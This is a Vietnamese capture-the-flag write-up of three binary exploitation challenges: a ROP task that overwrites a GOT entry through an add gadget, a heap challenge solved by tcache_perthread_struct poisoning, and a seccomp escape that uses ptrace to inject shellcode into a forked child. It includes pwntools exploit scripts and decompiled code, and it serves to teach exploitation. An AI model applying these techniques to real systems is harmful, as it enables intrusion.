Một bài ROP đơn giản, tuy nhiên không có gadget nào để control $rsi và $rdx để leak libc bằng write(1,func@got,8):
Tuy bài này vẫn còn sử dụng được kĩ thuật ret2csu nhưng mình thấy có gadget add dword ptr [rbp - 0x3d], ebx ; nop ; ret :
Để ý RELRO của binary là Partial RELRO nên ta có thể thay đổi read@got hoặc write@got trỏ tới system bằng phép cộng tuyến tính của gadget đó thay vì cần leak libc ra.
context.binary = e = ELF("./all_patched_up_patched") libc = ELF("./libc.so.6") gs=""" b *0x00000000004011ED """ defstart(): if args.LOCAL: p=e.process() if args.GDB: gdb.attach(p,gdbscript=gs) pause() elif args.REMOTE: p=remote(args.HOST,int(args.PORT)) return p
v6 = __readfsqword(0x28u); printf("What is the id of the config?: "); fgets(s, 16, stdin); *(_DWORD *)a1 = atoi(s); memset(s, 0, 0x10uLL); printf("What is the size of the setting?: "); fgets(s, 16, stdin); n = atoi(s); *(_QWORD *)(a1 + 8) = malloc(n); printf("What is the setting to be added?: "); fgets(*(char **)(a1 + 8), n, stdin); v1 = *(constchar **)(a1 + 8); v1[strcspn(v1, "\r\n")] = 0; printf("Should this setting be active? [y/n]: "); __isoc99_scanf(" %c", &v3); getchar(); *(_BYTE *)(a1 + 16) = v3 == 121; puts("\nConfig added.\n"); return __readfsqword(0x28u) ^ v6; }
Mình recover được struct mà nó sẽ deploy lên heap:
1 2 3 4 5
structFireWall{ int id; char* setting; bool active; };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
printf("What is the id of the config?: "); fgets(s, 16, stdin); a1->id = atoi(s); memset(s, 0, 0x10uLL); printf("What is the size of the setting?: "); fgets(s, 16, stdin); n = atoi(s); a1->setting = (char *)malloc(n); printf("What is the setting to be added?: "); fgets(a1->setting, n, stdin); setting = a1->setting; setting[strcspn(setting, "\r\n")] = 0; printf("Should this setting be active? [y/n]: "); __isoc99_scanf(" %c", &v3); getchar(); a1->active = v3 == 121; puts("\nConfig added.\n");
Bug: out of bond
Ta thấy ở case 4 cho ta free FireWall cuối cùng nhưng có thể truy cậy lại FireWall đó khi để idx = count ở case 2 và case 3.
defadd(id_: int,size: int,setting: bytes, active: bool = True): p.sendlineafter(b"> ",b"1") p.sendlineafter(b"What is the id of the config?: ",f"{id_}".encode()) p.sendlineafter(b"What is the size of the setting?: ",f"{size}".encode()) p.sendlineafter(b"What is the setting to be added?: ",setting) p.recvuntil(b"Should this setting be active? [y/n]: ") p.sendline(b"y") if active else p.sendline(b"n") defedit(idx: int,id_: int,size: int,setting: bytes, active: bool = True): p.sendlineafter(b"> ",b"2") p.sendlineafter(b"What is the index of the config to edit?:",f"{idx}".encode()) p.sendlineafter(b"What is the new ID?: ",f"{id_}".encode()) p.sendlineafter(b"What is the new size of the setting?: ",f"{size}".encode()) if size: p.sendlineafter(b"What is the new setting?: ",setting) p.recvuntil(b"Should this be active? [y/n]: ") p.sendline(b"y") if active else p.sendline(b"n") defview(idx: int): p.sendlineafter(b"> ",b"3") p.sendlineafter(b'What is the index of the config to print?: ',f"{idx}".encode()) add(0,0x250-8,b"A"*8) add(1,0x250-8,b"B"*8) p.sendline(b"4")
FireWall 1 ở địa chỉ 0x20824d0, ta thấy ở libc này, key của tcachebin[0] = địa chỉ của tcache_perthread_struct
Khi ta cố truy cập FireWall 1 lúc này, khi đó FireWall.setting = địa chỉ của tcache_perthread_struct từ đó ta có thể ghi đè luôn tcache_perthread_struct
Hàm print_config gọi hàm printf để in ra:
1 2 3 4 5 6 7 8
int __fastcall print_config(FireWall **list, int idx) { putchar(10); printf("ID: %d\n", (unsignedint)list[idx]->id); printf("Setting: %s\n", list[idx]->setting); printf("Is active: %d\n", list[idx]->active); returnputchar(10); }
Thật khó để leak heap vì hàm add_config cũng sử dụng hàm fgets để nhận, luôn có null bytes ở sau T_T.
Sau một hồi suy nghĩ thì mình suy ra được một cách là fill up tcache_perthread_struct.counts với byte 7 ( để nó không thêm chunk nào mới vào và vì ở version libc này kiểu của counts vẫn là char ), nhưng mình cũng sẽ để counts[0]=0, khi mình add FireWall 1 rồi free nó 1 lần nữa thì :
counts[0]=1 và tcache_entry *entries[0] = FireWall 1
Lúc này FireWall1.setting = tcache_perthread_struct, khi gọi hàm print_config ra, do counts đã được fill up với các byte khác NULL nên entries[0] cũng sẽ được in ra luôn -> từ đó ta leak được heap.
Do hàm edit_config sử dụng realloc nên ta không thể ghi đè FireWall 0.setting là địa chỉ stack rồi sửa được.
1 2 3 4 5 6 7 8
unsigned __int64 __fastcall edit_config(FireWall **a1, int idx) { ... v3->setting = (char *)realloc(v3->setting, n); printf("What is the new setting?: "); fgets(a1[idx]->setting, n, stdin); ... }
Ta lại sửa tcahe entry thành địa chỉ stack từ đó hàm add_config sẽ cho ta ghi đè stack.
context.binary = e = ELF("./waf_patched") libc = ELF("./libc.so.6") gs=""" # b *0x0000000000400CF4 # b *0x0000000000400C6B # b *0x0000000000400FD8 # b *0x0000000000401262 b *0x0000000000400D9E """ defstart(): if args.LOCAL: p=e.process() if args.GDB: gdb.attach(p,gdbscript=gs) pause() elif args.REMOTE: p=remote(args.HOST,int(args.PORT)) return p
p = start() defadd(id_: int,size: int,setting: bytes, active: bool = True): p.sendlineafter(b"> ",b"1") p.sendlineafter(b"What is the id of the config?: ",f"{id_}".encode()) p.sendlineafter(b"What is the size of the setting?: ",f"{size}".encode()) p.sendlineafter(b"What is the setting to be added?: ",setting) p.recvuntil(b"Should this setting be active? [y/n]: ") p.sendline(b"y") if active else p.sendline(b"n") defedit(idx: int,id_: int,size: int,setting: bytes, active: bool = True): p.sendlineafter(b"> ",b"2") p.sendlineafter(b"What is the index of the config to edit?:",f"{idx}".encode()) p.sendlineafter(b"What is the new ID?: ",f"{id_}".encode()) p.sendlineafter(b"What is the new size of the setting?: ",f"{size}".encode()) if size: p.sendlineafter(b"What is the new setting?: ",setting) p.recvuntil(b"Should this be active? [y/n]: ") p.sendline(b"y") if active else p.sendline(b"n") defview(idx: int): p.sendlineafter(b"> ",b"3") p.sendlineafter(b'What is the index of the config to print?: ',f"{idx}".encode()) add(0,0x250-8,b"A"*8) add(1,0x250-8,b"B"*8) p.sendline(b"4") log.info("1");pause() edit(1,0,0x250-8,p8(0)+p8(7)*34+p8(8)+p8(7)*(64-36)+p64(0))
intmain(){ ... Setup(); pid = fork(); if ( pid ) { while ( 1 ) { puts("Enter the command you want to do:"); menu(); memset(cmd_str, 0, sizeof(cmd_str)); cmd = 0; fgets(cmd_str, 11, stdin); __isoc99_sscanf(cmd_str, "%d", &cmd); if ( cmd == 4 ) break; if ( cmd <= 4 ) { switch ( cmd ) { case3: puts("Where do you want to execute code?"); __isoc99_scanf("%lx", &location); ProtectProgram(); func_ptr = (void (*)(...))location; ((void (*)(void))location)(); goto fail; case1: puts("How big do you want your memory to be?"); fgets(memory_size_str, 11, stdin); __isoc99_sscanf(memory_size_str, "%lu", &memory_size); puts("What permissions would you like for the memory?"); fgets(test_buffer, 11, stdin); __isoc99_sscanf(test_buffer, "%d", &permissions); fflush(stdin); shellcode = (char *)CreateMemory(memory_size, permissions); puts("What do you want to include?"); fgets(shellcode, memory_size, stdin); printf("Wrote your buffer at %p\n", shellcode); free(buffer); buffer = 0LL; break; case2: puts("Debug information:"); printf("Child PID = %d\n", (unsignedint)pid); break; } } } } }
Chương trình gọi fork trước khi bắt đầu vào flow của user. Ở trong flow của user ta thấy chương trình cho phép allocate shellcode ở trên một địa chỉ rồi cho phép ta thực thi shellcode đó, nhưng trước khi thực hiện lại load seccomp vào.
Seccomp filter có cho phép hàm ptrace, ta biết được pid của process con, chưa kể process con được fork ra trước khi load seccomp vào …
Thế là sau một hồi loay hoay, mình nghĩ đến việc sử dụng hàm ptrace để ghi đè memory và $rip của process con.
Để ý nữa thì chương trình NO PIE, vậy thì mình sẽ thử ghi đè ở trong _text segment của process con là một đoạn shellcode rồi sửa $rip của nó trỏ tới đó.
Ý tưởng cho shellcode sẽ là:
1 2 3 4 5 6 7
ptrace(PTRACE_ATTACH,child_pid,0,0); // attach ptrace(PTRACE_POKEDATA,child_pid,_start,shellcode_sh); // một vòng lặp sửa dần bytecode của hàm _start thành shellcode gọi shell ra ptrace(PTRACE_POKEDATA,child_pid,sleep@got,_start); ptrace(PTRACE_GETREGS,child_pid,0,$rsp+0x100); // dump struct user_reg ra stack* *(int64_t *)($rsp+0x100+16*8) = sleep@plt ; // sửa $rip = sleep@plt ptrace(PTRACE_SETREGS,child_pid,0,$rsp+0x100); // commit ptrace(PTRACE_DETACH,child_pid,0,0); // detach
gs=""" set follow-fork-mode parent """ defstart(): if args.LOCAL: p=e.process() if args.GDB: gdb.attach(p,gdbscript=gs) pause() elif args.REMOTE: p=remote(args.HOST,int(args.PORT)) return p
Ở đây trước khi commit PTRACE_SETREGS cho process con, mình gửi signal stop cho chắc ăn.
Nếu để ý bạn sẽ thấy mình ghi đè $rip = sleep@plt + 2 thay vì sleep@plt , mình sẽ không đi sâu giải thích ( gợi ý là sleep@plt + 4 thì mới có opcode jmp tới got và độ dài opcode của syscall là 2 bytes ).